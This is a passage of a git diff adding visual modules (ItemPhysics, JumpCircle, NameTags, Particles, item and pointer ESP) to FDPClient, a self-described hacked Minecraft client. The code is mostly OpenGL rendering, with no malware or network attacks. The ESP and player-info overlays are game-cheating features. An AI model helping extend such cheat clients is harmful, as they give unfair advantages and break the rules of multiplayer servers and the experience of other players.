+ ) + RenderUtils.rectangleBordered( + x - 0.5, + y - 0.5, + endx + 0.5, + endy + 0.5, + 1.0, + Colors.getColor(0, 0), + Colors.getColor(0, 150) + ) + RenderUtils.rectangleBordered( + x + 1.5, + y + 1.5, + endx - 1.5, + endy - 1.5, + 1.0, + Colors.getColor(0, 0), + Colors.getColor(0, 150) + ) + val health = 20f + val progress = health / 20f + val difference = y - endy + 0.5 + RenderUtils.rectangleBordered( + x - 6.5, y - 0.5, x - 2.5, + endy, 1.0, Color(30, 255, 30).rgb, + Colors.getColor(0, 150) + ) + //RenderUtils.rectangle((x - 5.5), (endy - 1.0), (x - 3.5), + // healthLocation, customColor.getRGB()); + RenderUtils.rectangle(x - 5.5, endy - 1.0, x - 3.5, endy + difference, Color(30, 255, 30).rgb) + if (-difference > 50.0) { + for (i in 1..9) { + val dThing = difference / 10.0 * i + RenderUtils.rectangle( + x - 6.5, endy - 0.5 + dThing, + x - 2.5, endy - 0.5 + dThing - 1.0, + Colors.getColor(0) + ) + } + } + if (getIncremental((progress * 100.0f).toDouble(), 1.0).toInt() <= 40) { + GlStateManager.pushMatrix() + GlStateManager.scale(2.0f, 2.0f, 2.0f) + GlStateManager.popMatrix() + } + } catch (ignored: Exception) { + } + } + GlStateManager.popMatrix() + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + } + GL11.glScalef(1.0f, 1.0f, 1.0f) + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + GlStateManager.popMatrix() + RenderUtils.rectangle(0.0, 0.0, 0.0, 0.0, -1) + } + if (modeValue.get().equals("ShaderOutline", ignoreCase = true)) { + OutlineShader.OUTLINE_SHADER.startDraw(event.partialTicks) + try { + for (entity in mc.theWorld.loadedEntityList) { + if (!(entity is EntityItem || entity is EntityArrow)) continue + mc.renderManager.renderEntityStatic(entity, event.partialTicks, true) + } + } catch (ex: Exception) { + alert("An error occurred while rendering all item entities for shader esp") + } + OutlineShader.OUTLINE_SHADER.stopDraw( + if (colorRainbowValue.get()) rainbow() else Color( + colorRedValue.get(), + colorGreenValue.get(), + colorBlueValue.get() + ), 1f, 1f + ) + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + val shader = (if (modeValue.equals("shaderoutline")) OutlineShader.OUTLINE_SHADER else if (modeValue.equals("shaderglow")) GlowShader.GLOW_SHADER else null) + ?: return + val partialTicks = event.partialTicks + + shader.startDraw(partialTicks) + + for (entity in mc.theWorld.loadedEntityList) { + if (!(entity is EntityItem || entity is EntityArrow)) continue + mc.renderManager.renderEntityStatic(entity, event.partialTicks, true) + } + + shader.stopDraw(getColor(), outlineWidth.get(), 1f) + } + } + + fun getIncremental(`val`: Double, inc: Double): Double { + val one = 1.0 / inc + return (`val` * one).roundToInt() / one + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ItemPhysics.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ItemPhysics.kt new file mode 100644 index 0000000..1aa7c00 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ItemPhysics.kt @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue + +@ModuleInfo(name = "ItemPhysics", category = ModuleCategory.VISUAL) +object ItemPhysics : Module() { + + val itemWeight = FloatValue("Weight", 0.5F, 0F, 1F) + override val tag: String? + get() = "${itemWeight.get()}" +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/JumpCircle.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/JumpCircle.kt new file mode 100644 index 0000000..95fe0be --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/JumpCircle.kt @@ -0,0 +1,139 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MathUtils.toRadians +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "JumpCircle", category = ModuleCategory.VISUAL) +object JumpCircle : Module() { + private val mode = ListValue("Mode", arrayOf("Normal","Custom","Rainbow"),"Normal") + + val disappearTime = IntegerValue("Time", 1000, 1000,3000) + val radius = FloatValue("Radius", 2f, 1f,5f) + + val rainbowValue = BoolValue("Rainbow", false) + + val r = IntegerValue("Red", 0,0,255).displayable { mode.equals("Custom")} + val b = IntegerValue("Blue",0,0,255).displayable { mode.equals("Custom")} + val g = IntegerValue("Green",0,0,255).displayable { mode.equals("Custom")} + val start = FloatValue("Start", 0.5f, 0f,1f).displayable {mode.equals("Normal")} + val end = FloatValue("End", 0.3f, 0f,1f).displayable {mode.equals("Normal")} + + private val circles = mutableListOf<Circle>() + private var lastOnGround = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround && !lastOnGround) { + circles.add(Circle(System.currentTimeMillis(), mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ)) + } + lastOnGround = mc.thePlayer.onGround + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + circles.removeIf { System.currentTimeMillis() > it.time + disappearTime.get() } + + GL11.glPushMatrix() + + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glDisable(GL11.GL_CULL_FACE) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(false) + GL11.glDisable(GL11.GL_ALPHA_TEST) + GL11.glShadeModel(GL11.GL_SMOOTH) + + circles.forEach { it.draw() } + + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_CULL_FACE) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(true) + GL11.glEnable(GL11.GL_ALPHA_TEST) + GL11.glShadeModel(GL11.GL_FLAT) + + GL11.glPopMatrix() + } + + class Circle(val time: Long, val x: Double, val y: Double, val z: Double){ + private val jumpModule = FDPClient.moduleManager.getModule(JumpCircle::class.java) as JumpCircle + + fun draw() { + + val dif = (System.currentTimeMillis() - time) + val c = 255 - (dif / jumpModule.disappearTime.get().toFloat()) * 255 + + GL11.glPushMatrix() + + GL11.glTranslated( + x - mc.renderManager.viewerPosX, + y - mc.renderManager.viewerPosY, + z - mc.renderManager.viewerPosZ + ) + + GL11.glBegin(GL11.GL_TRIANGLE_STRIP) + for (i in 0..360) { + if (mode.equals("Normal")) { + val color = if (jumpModule.rainbowValue.get()) Color.getHSBColor(i / 360f, 1f, 1f) + else ColorUtils.hsbTransition(jumpModule.start.get(), jumpModule.end.get(), i) + val x = (dif * jumpModule.radius.get() * 0.001 * sin(i.toDouble().toRadians())) + val z = (dif * jumpModule.radius.get() * 0.001 * cos(i.toDouble().toRadians())) + + RenderUtils.glColor(color.red, color.green, color.blue, 0) + GL11.glVertex3d(x / 2, 0.0, z / 2) + + RenderUtils.glColor(color.red, color.green, color.blue, c.toInt()) + GL11.glVertex3d(x, 0.0, z) + } + if (mode.equals("Rainbow")) { + val x = (dif * jumpModule.radius.get() * 0.001 * sin(i.toDouble().toRadians())) + val z = (dif * jumpModule.radius.get() * 0.001 * cos(i.toDouble().toRadians())) + RenderUtils.glColor(rainbow().red, rainbow().green, rainbow().blue, 0) + GL11.glVertex3d(x / 2, 0.0, z / 2) + + RenderUtils.glColor(rainbow().red, rainbow().green, rainbow().blue, c.toInt()) + GL11.glVertex3d(x, 0.0, z) + RenderUtils.glColor(rainbow().red, rainbow().green, rainbow().blue,120) + } + else { + val x = (dif * jumpModule.radius.get() * 0.001 * sin(i.toDouble().toRadians())) + val z = (dif * jumpModule.radius.get() * 0.001 * cos(i.toDouble().toRadians())) + RenderUtils.glColor(r.get(),g.get(),b.get(), 0) + GL11.glVertex3d(x / 2, 0.0, z / 2) + + RenderUtils.glColor(r.get(),g.get(),b.get(), c.toInt()) + GL11.glVertex3d(x, 0.0, z) + RenderUtils.glColor(r.get(),g.get(),b.get(),120) + } + } + GL11.glEnd() + + GL11.glPopMatrix() + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/NameTags.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/NameTags.kt new file mode 100644 index 0000000..6b6a61b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/NameTags.kt @@ -0,0 +1,324 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot +import net.ccbluex.liquidbounce.features.module.modules.other.Teams +import net.ccbluex.liquidbounce.features.module.modules.player.HackerDetector +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.extensions.ping +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils.* +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.client.renderer.GlStateManager.* +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.potion.Potion +import net.minecraft.potion.PotionEffect +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import java.awt.Color +import kotlin.math.roundToInt + +@ModuleInfo(name = "NameTags", category = ModuleCategory.VISUAL) +object NameTags : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Simple", "Liquid", "Jello"), "Liquid") + private val healthValue = BoolValue("Health", true).displayable { modeValue.equals("Liquid") } + private val pingValue = BoolValue("Ping", true).displayable { modeValue.equals("Liquid") } + private val healthBarValue = BoolValue("Bar", true).displayable { modeValue.equals("Liquid") } + private val distanceValue = BoolValue("Distance", false).displayable { modeValue.equals("Liquid") } + private val armorValue = BoolValue("Armor", true).displayable { modeValue.equals("Liquid") } + private val enchantValue = BoolValue("Enchant", true).displayable { modeValue.equals("Liquid") } + private val potionValue = BoolValue("Potions", true).displayable { modeValue.equals("Liquid") } + private val clearNamesValue = BoolValue("ClearNames", true) + private val fontValue = FontValue("Font", Fonts.font40) + private val borderValue = BoolValue("Border", true) + private val fontShadowValue = BoolValue("Shadow", true) + private val hackerValue = BoolValue("Hacker", true) + private val jelloColorValue = BoolValue("JelloHPColor", true).displayable { modeValue.equals("Jello") } + private val jelloAlphaValue = IntegerValue("JelloAlpha", 170, 0, 255).displayable { modeValue.equals("Jello") } + private val scaleValue = FloatValue("Scale", 1F, 1F, 4F) + private val onlyTarget = BoolValue("OnlyTarget",false) + private val translateY = FloatValue("TanslateY", 0.55F, -2F, 2F) + private val backgroundColorRedValue = IntegerValue("Background-R", 0, 0, 255).displayable { backgroundColorAlphaValue.get() > 0 } + private val backgroundColorGreenValue = IntegerValue("Background-G", 0, 0, 255).displayable { backgroundColorAlphaValue.get() > 0 } + private val backgroundColorBlueValue = IntegerValue("Background-B", 0, 0, 255).displayable { backgroundColorAlphaValue.get() > 0 } + private val backgroundColorAlphaValue = IntegerValue("Background-Alpha", 0, 0, 255) + private val borderColorRedValue = IntegerValue("Border-R", 0, 0, 255).displayable { borderValue.get() } + private val borderColorGreenValue = IntegerValue("Border-G", 0, 0, 255).displayable { borderValue.get() } + private val borderColorBlueValue = IntegerValue("Border-B", 0, 0, 255).displayable { borderValue.get() } + private val borderColorAlphaValue = IntegerValue("Border-Alpha", 0, 0, 255).displayable { borderValue.get() } + + private var targetTicks = 0 + private var entityKeep = "yes zywl" + + private val inventoryBackground = ResourceLocation("textures/gui/container/inventory.png") + + @EventTarget + fun onRender3D(event: Render3DEvent) { + for (entity in mc.theWorld.loadedEntityList) { + if (EntityUtils.isSelected(entity, false)) { + renderNameTag(entity as EntityLivingBase, + if (hackerValue.get() && FDPClient.moduleManager[HackerDetector::class.java]!!.isHacker(entity)) { "§c" } else { "" } + if (!modeValue.equals("Liquid") && AntiBot.isBot(entity)) { "§e" } else { "" } + + if (clearNamesValue.get()) { entity.name } else { entity.getDisplayName().unformattedText }) + } + } + } + + private fun getPlayerName(entity: EntityLivingBase): String { + val name = entity.displayName.formattedText + var pre = "" + val teams = FDPClient.moduleManager[Teams::class.java]!! + if (FDPClient.fileManager.friendsConfig.isFriend(entity.name)) { + pre = "$pre§b[Friend] " + } + if (teams.isInYourTeam(entity)) { + pre = "$pre§a[TEAM] " + } + if (AntiBot.isBot(entity)) { + pre = "$pre§e[BOT] " + } + if (!AntiBot.isBot(entity) && !teams.isInYourTeam(entity)) { + pre = if (FDPClient.fileManager.friendsConfig.isFriend(entity.name)) { + "§b[Friend] §c" + } else { + "§c" + } + } + return name + pre + } + + private fun renderNameTag(entity: EntityLivingBase, tag: String) { + if (onlyTarget.get() && entity != FDPClient.combatManager.target && entity.name != entityKeep) { + return + } else if (onlyTarget.get() && entity == FDPClient.combatManager.target) { + entityKeep = entity.name + targetTicks++ + if (targetTicks >= 5) { + targetTicks = 4 + } + } else if (onlyTarget.get() && FDPClient.combatManager.target == null) { + targetTicks-- + if (targetTicks <= -1) { + targetTicks = 0 + entityKeep = "zywl gg" + } + } + + if (onlyTarget.get() && targetTicks == 0) { + return + } + + // Set fontrenderer local + val fontRenderer = fontValue.get() + + // Push + glPushMatrix() + + // Translate to player position + val renderManager = mc.renderManager + val timer = mc.timer + + glTranslated( // Translate to player position with render pos and interpolate it + entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks - renderManager.renderPosX, + entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks - renderManager.renderPosY + entity.eyeHeight.toDouble() + translateY.get().toDouble(), + entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks - renderManager.renderPosZ + ) + + // Rotate view to player + glRotatef(-mc.renderManager.playerViewY, 0F, 1F, 0F) + glRotatef(mc.renderManager.playerViewX, 1F, 0F, 0F) + + // Scale + var distance = mc.thePlayer.getDistanceToEntity(entity) / 4F + + if (distance < 1F) { + distance = 1F + } + + val scale = (distance / 150F) * scaleValue.get() + + // Disable lightning and depth test + disableGlCap(GL_LIGHTING, GL_DEPTH_TEST) + + // Enable blend + enableGlCap(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + + // Draw nametag + when (modeValue.get().lowercase()) { + "simple" -> { + val healthPercent = (entity.health / entity.maxHealth).coerceAtMost(1F) + val width = fontRenderer.getStringWidth(tag).coerceAtLeast(30) / 2 + val maxWidth = width * 2 + 12F + + glScalef(-scale * 2, -scale * 2, scale * 2) + drawRect(-width - 6F, -fontRenderer.FONT_HEIGHT * 1.7F, width + 6F, -2F, Color(0, 0, 0, jelloAlphaValue.get())) + drawRect(-width - 6F, -2F, -width - 6F + (maxWidth * healthPercent), 0F, ColorUtils.healthColor(entity.health, entity.maxHealth, jelloAlphaValue.get())) + drawRect(-width - 6F + (maxWidth * healthPercent), -2F, width + 6F, 0F, Color(0, 0, 0, jelloAlphaValue.get())) + fontRenderer.drawString(tag, (-fontRenderer.getStringWidth(tag) * 0.5F).toInt(), (-fontRenderer.FONT_HEIGHT * 1.4F).toInt(), Color.WHITE.rgb) + } + + "liquid" -> { + // Modify tag + val bot = AntiBot.isBot(entity) + val nameColor = if (bot) "§3" else if (entity.isInvisible) "§6" else if (entity.isSneaking) "§4" else "§7" + val ping = entity.ping + + val distanceText = if (distanceValue.get()) "§7 [§a${mc.thePlayer.getDistanceToEntity(entity).roundToInt()}§7]" else "" + val pingText = if (pingValue.get() && entity is EntityPlayer) " §7[" + (if (ping > 200) "§c" else if (ping > 100) "§e" else "§a") + ping + "ms§7]" else "" + val healthText = if (healthValue.get()) "§7 [§f" + entity.health.toInt() + "§c❤§7]" else "" + val botText = if (bot) " §7[§6§lBot§7]" else "" + + val text = "$distanceText$pingText$nameColor$tag$healthText$botText" + + glScalef(-scale, -scale, scale) + + val width = fontRenderer.getStringWidth(text) * 0.5f + + val dist = width + 4F - (-width - 2F) + + glDisable(GL_TEXTURE_2D) + glEnable(GL_BLEND) + + val bgColor = Color(backgroundColorRedValue.get(), backgroundColorGreenValue.get(), backgroundColorBlueValue.get(), backgroundColorAlphaValue.get()) + val borderColor = Color(borderColorRedValue.get(), borderColorGreenValue.get(), borderColorBlueValue.get(), borderColorAlphaValue.get()) + + if (borderValue.get()) + quickDrawBorderedRect(-width - 2F, -2F, width + 4F, fontRenderer.FONT_HEIGHT + 2F + if (healthBarValue.get()) 2F else 0F, 2F, borderColor.rgb, bgColor.rgb) + else + quickDrawRect(-width - 2F, -2F, width + 4F, fontRenderer.FONT_HEIGHT + 2F + if (healthBarValue.get()) 2F else 0F, bgColor.rgb) + + if (healthBarValue.get()) { + quickDrawRect(-width - 2F, fontRenderer.FONT_HEIGHT + 3F, -width - 2F + dist, fontRenderer.FONT_HEIGHT + 4F, Color(10, 155, 10).rgb) + quickDrawRect(-width - 2F, fontRenderer.FONT_HEIGHT + 3F, -width - 2F + (dist * (entity.health / entity.maxHealth).coerceIn(0F, 1F)), fontRenderer.FONT_HEIGHT + 4F, Color(10, 255, 10).rgb) + } + + glEnable(GL_TEXTURE_2D) + + fontRenderer.drawString(text, 1F + -width, if (fontRenderer == Fonts.minecraftFont) 1F else 1.5F, + 0xFFFFFF, fontShadowValue.get()) + + var foundPotion = false + if (potionValue.get() && entity is EntityPlayer) { + val potions = (entity.getActivePotionEffects() as Collection<PotionEffect>).map { Potion.potionTypes[it.potionID] }.filter { it.hasStatusIcon() } + if (potions.isNotEmpty()) { + foundPotion = true + + color(1.0F, 1.0F, 1.0F, 1.0F) + disableLighting() + enableTexture2D() + + val minX = (potions.size * -20) / 2 + + glPushMatrix() + enableRescaleNormal() + for ((index, potion) in potions.withIndex()) { + color(1.0F, 1.0F, 1.0F, 1.0F) + mc.textureManager.bindTexture(inventoryBackground) + val i1 = potion.statusIconIndex + drawTexturedModalRect(minX + index * 20, -22, 0 + i1 % 8 * 18, 198 + i1 / 8 * 18, 18, 18, 0F) + } + disableRescaleNormal() + glPopMatrix() + + enableAlpha() + disableBlend() + enableTexture2D() + } + } + + if (armorValue.get() && entity is EntityPlayer) { + for (index in 0..4) { + if (entity.getEquipmentInSlot(index) == null) { + continue + } + + mc.renderItem.zLevel = -147F + mc.renderItem.renderItemAndEffectIntoGUI(entity.getEquipmentInSlot(index), -50 + index * 20, if (potionValue.get() && foundPotion) -42 else -22) + } + + enableAlpha() + disableBlend() + enableTexture2D() + } + + if (enchantValue.get() && entity is EntityPlayer) { + glPushMatrix() + for (index in 0..4) { + if (entity.getEquipmentInSlot(index) == null) + continue + + mc.renderItem.renderItemOverlays(mc.fontRendererObj, entity.getEquipmentInSlot(index), -50 + index * 20, if (potionValue.get() && foundPotion) -42 else -22) + drawExhiEnchants(entity.getEquipmentInSlot(index), -50f + index * 20f, if (potionValue.get() && foundPotion) -42f else -22f) + } + + + // Disable lightning and depth test + glDisable(GL_LIGHTING) + glDisable(GL_DEPTH_TEST) + + glEnable(GL_LINE_SMOOTH) + + // Enable blend + glEnable(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + + glPopMatrix() + } + + + } + + "jello" -> { + // colors + var hpBarColor = Color(255, 255, 255, jelloAlphaValue.get()) + val name = entity.displayName.unformattedText + if (jelloColorValue.get() && name.startsWith("§")) { + hpBarColor = ColorUtils.colorCode(name.substring(1, 2), jelloAlphaValue.get()) + } + val bgColor = Color(20, 20, 20, jelloAlphaValue.get()) + val width = fontRenderer.getStringWidth(tag) / 2 + val maxWidth = (width + 4F) - (-width - 4F) + var healthPercent = entity.health / entity.maxHealth + + // render bg + glScalef(-scale * 2, -scale * 2, scale * 2) + drawRect(-width - 4F, -fontRenderer.FONT_HEIGHT * 3F, width + 4F, -3F, bgColor) + + // render hp bar + if (healthPercent> 1) { + healthPercent = 1F + } + + drawRect(-width - 4F, -3F, (-width - 4F) + (maxWidth * healthPercent), 0F, hpBarColor) + drawRect((-width - 4F) + (maxWidth * healthPercent), -3F, width + 4F, 0F, bgColor) + + // string + fontRenderer.drawString(tag, -width, -fontRenderer.FONT_HEIGHT * 2 - 4, Color.WHITE.rgb) + glScalef(0.5F, 0.5F, 0.5F) + fontRenderer.drawString("Health: " + entity.health.toInt(), -width * 2, -fontRenderer.FONT_HEIGHT * 2, Color.WHITE.rgb) + } + } + // Reset caps + resetCaps() + + // Reset color + resetColor() + glColor4f(1F, 1F, 1F, 1F) + + // Pop + glPopMatrix() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Particles.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Particles.kt new file mode 100644 index 0000000..c8b761d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Particles.kt @@ -0,0 +1,175 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.particles.EvictingList +import net.ccbluex.liquidbounce.utils.particles.Particle +import net.ccbluex.liquidbounce.utils.particles.Vec3 +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.ParticleTimer +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.projectile.EntityEgg +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.util.function.Consumer +import kotlin.math.abs + +@ModuleInfo(name = "Particles", category = ModuleCategory.VISUAL) +class Particles : Module() { + private val amount = IntegerValue("Amount", 10, 1, 20) + + private val physics = BoolValue("Physics", true) + + private val startred = IntegerValue("StartRed", 255 ,0, 255) + private val startgreen = IntegerValue("StartGreen", 150 ,0, 255) + private val startblue = IntegerValue("StartBlue", 200 ,0, 255) + private val endred = IntegerValue("EndRed", 100 ,0, 255) + private val endgreen = IntegerValue("EndGreen", 110 ,0, 255) + private val endblue = IntegerValue("EndBlue", 195 ,0, 255) + + private val particles: MutableList<Particle> = EvictingList(100) + private val timer = ParticleTimer() + private var target: EntityLivingBase? = null + + @EventTarget + fun onAttack(event: AttackEvent) { + if (event.targetEntity is EntityLivingBase) target = event.targetEntity + } + + @EventTarget + fun onMotion(event: MotionEvent?) { + if (target != null && target!!.hurtTime >= 9 && mc.thePlayer.getDistance( + target!!.posX, + target!!.posY, + target!!.posZ + ) < 10 + ) { + for (i in 0 until amount.get()) particles.add( + Particle( + Vec3( + target!!.posX + (Math.random() - 0.5) * 0.5, + target!!.posY + Math.random() * 1 + 0.5, + target!!.posZ + (Math.random() - 0.5) * 0.5 + ) + ) + ) + + target = null + } + } + private fun renderParticles(particles: List<Particle>) { + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + + var i = 0 + try { + for (particle in particles) { + i++ + val v = particle.position + var draw = true + + val x = v.xCoord - mc.renderManager.renderPosX + val y = v.yCoord - mc.renderManager.renderPosY + val z = v.zCoord - mc.renderManager.renderPosZ + + val distanceFromPlayer = mc.thePlayer.getDistance(v.xCoord, v.yCoord - 1, v.zCoord) + var quality = (distanceFromPlayer * 4 + 10).toInt() + + if (quality > 350) quality = 350 + + if (!RenderUtils.isInViewFrustrum(EntityEgg(mc.theWorld, v.xCoord, v.yCoord, v.zCoord))) draw = false + + if (i % 10 != 0 && distanceFromPlayer > 25) draw = false + + if (i % 3 == 0 && distanceFromPlayer > 15) draw = false + + if (draw) { + GL11.glPushMatrix() + GL11.glTranslated(x, y, z) + + val scale = 0.04f + GL11.glScalef(-scale, -scale, -scale) + + GL11.glRotated(-mc.renderManager.playerViewY.toDouble(), 0.0, 1.0, 0.0) + GL11.glRotated( + mc.renderManager.playerViewX.toDouble(), + if (mc.gameSettings.thirdPersonView == 2) -1.0 else 1.0, + 0.0, + 0.0 + ) + val c = RenderUtils.getGradientOffset( + Color(startred.get(), startgreen.get(), startblue.get(), 1), Color(endred.get(), endgreen.get(), endblue.get(), 1), + (abs( + (System.currentTimeMillis() / 100 + (20 / 10)).toDouble() + ) / 10) + ) + RenderUtils.drawFilledCircleNoGL(0, 0, 0.7, c.hashCode(), quality) + + if (distanceFromPlayer < 4) RenderUtils.drawFilledCircleNoGL( + 0, + 0, + 1.4, + Color(c.red, c.green, c.blue, 50).hashCode(), + quality + ) + + if (distanceFromPlayer < 20) RenderUtils.drawFilledCircleNoGL( + 0, + 0, + 2.3, + Color(c.red, c.green, c.blue, 30).hashCode(), + quality + ) + + GL11.glScalef(0.8f, 0.8f, 0.8f) + GL11.glPopMatrix() + } + } + } catch (ignored: ConcurrentModificationException) { + } + + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_BLEND) + + GL11.glColor3d(255.0, 255.0, 255.0) + } + + @EventTarget + fun onRender3D(event: Render3DEvent?) { + if (particles.isEmpty()) return + + var i = 0 + while (i <= timer.elapsedTime / 1E+11) { + if (physics.get()) particles.forEach(Consumer { obj: Particle -> obj.update() }) + else particles.forEach(Consumer { obj: Particle -> obj.updateWithoutPhysics() }) + i++ + } + + particles.removeIf { particle: Particle -> + mc.thePlayer.getDistanceSq( + particle.position.xCoord, + particle.position.yCoord, + particle.position.zCoord + ) > 50 * 10 + } + + timer.reset() + + renderParticles(particles) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/PointerESP.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/PointerESP.kt new file mode 100644 index 0000000..5f1af39 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/PointerESP.kt @@ -0,0 +1,159 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.extensions.hurtPercent +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.* + +@ModuleInfo(name = "PointerESP", category = ModuleCategory.VISUAL) +object PointerESP : Module() { + + private val dimensionValue = ListValue("Dimension", arrayOf("2d", "3d"), "2d") + private val modeValue = ListValue("Mode", arrayOf("Solid", "Line", "LoopLine"), "Solid") + private val lineWidthValue = FloatValue("LineWidth", 4f, 1f, 10f).displayable { modeValue.get().contains("Line") } + private val redValue = IntegerValue("Red", 255, 0, 255).displayable { !rainbowValue.get() } + private val 